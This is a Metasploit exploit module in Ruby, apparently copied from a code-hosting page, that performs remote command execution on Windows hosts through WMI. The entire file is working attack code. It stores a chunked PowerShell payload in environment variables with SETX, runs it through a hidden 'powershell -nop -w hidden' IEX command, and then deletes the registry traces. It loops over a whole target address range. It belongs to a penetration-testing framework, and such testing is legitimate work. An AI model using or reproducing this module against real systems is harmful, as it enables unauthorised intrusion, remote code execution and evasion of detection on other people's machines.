144 lines
4.6 KiB
Ruby
144 lines
4.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/powershell'
|
|
require 'rex'
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Post::Windows::WMIC
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Management Instrumentation (WMI) Remote Command Execution',
|
|
'Description' => %q{
|
|
This module executes powershell on the remote host using the current
|
|
user credentials or those supplied. Instead of using PSEXEC over TCP
|
|
port 445 we use the WMIC command to start a Remote Procedure Call on
|
|
TCP port 135 and an ephemeral port. Set ReverseListenerComm to tunnel
|
|
traffic through that session.
|
|
|
|
The result is similar to psexec but with the added benefit of using
|
|
the session's current authentication token instead of having to know
|
|
a password or hash.
|
|
|
|
We do not get feedback from the WMIC command so there are no
|
|
indicators of success or failure. The remote host must be configured
|
|
to allow remote Windows Management Instrumentation.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Ben Campbell'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
|
[ 'OSVDB', '3106'],
|
|
[ 'URL', 'http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
'WfsDelay' => '15',
|
|
},
|
|
'DisclosureDate' => 'Jan 01 1999',
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
OptAddressRange.new("RHOSTS", [ true, "Target address range or CIDR identifier" ]),
|
|
# Move this out of advanced
|
|
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener'])
|
|
])
|
|
|
|
deregister_options("RHOST")
|
|
end
|
|
|
|
def exploit
|
|
if datastore['SMBUser'] and datastore['SMBPass'].nil?
|
|
fail_with(Failure::BadConfig, "Need both username and password set.")
|
|
end
|
|
|
|
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
|
|
run_host(server)
|
|
end
|
|
end
|
|
|
|
def run_host(server)
|
|
# Get the PSH Payload and split it into bitesize chunks
|
|
# 1024 appears to be the max value allowed in env vars
|
|
psh = cmd_psh_payload(payload.encoded).gsub("\r\n","")
|
|
psh = psh[psh.index("$si")..psh.length-1]
|
|
chunks = split_code(psh, 1024)
|
|
|
|
begin
|
|
print_status("[#{server}] Storing payload in environment variables")
|
|
env_name = rand_text_alpha(rand(3)+3)
|
|
env_vars = []
|
|
0.upto(chunks.length-1) do |i|
|
|
env_vars << "#{env_name}#{i}"
|
|
c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
|
|
result = wmic_command(c, server)
|
|
|
|
unless result
|
|
print_error("[#{server}] WMIC command error - skipping host")
|
|
return false
|
|
end
|
|
end
|
|
|
|
x = rand_text_alpha(rand(3)+3)
|
|
exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
|
|
env_vars.each do |env|
|
|
exec_cmd << "+$env:#{env}"
|
|
end
|
|
exec_cmd << ";IEX $#{x};"
|
|
|
|
print_status("[#{server}] Executing payload")
|
|
result = wmic_command(exec_cmd, server)
|
|
|
|
if result
|
|
if result[:return] == 0
|
|
print_good("[#{server}] Process Started PID: #{result[:pid]}")
|
|
else
|
|
print_error("[#{server}] failed, Return Value: #{result[:return]})")
|
|
end
|
|
else
|
|
print_error("[#{server}] failed...)")
|
|
end
|
|
|
|
print_status("[#{server}] Cleaning up environment variables")
|
|
env_vars.each do |env|
|
|
cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
|
|
wmic_command(cleanup_cmd, server)
|
|
end
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("[#{server}] Error moving on... #{e}")
|
|
return false
|
|
end
|
|
end
|
|
|
|
def split_code(psh, chunk_size)
|
|
array = []
|
|
idx = 0
|
|
while (idx < psh.length)
|
|
array << psh[idx, chunk_size]
|
|
idx += chunk_size
|
|
end
|
|
return array
|
|
end
|
|
|
|
end
|
|
|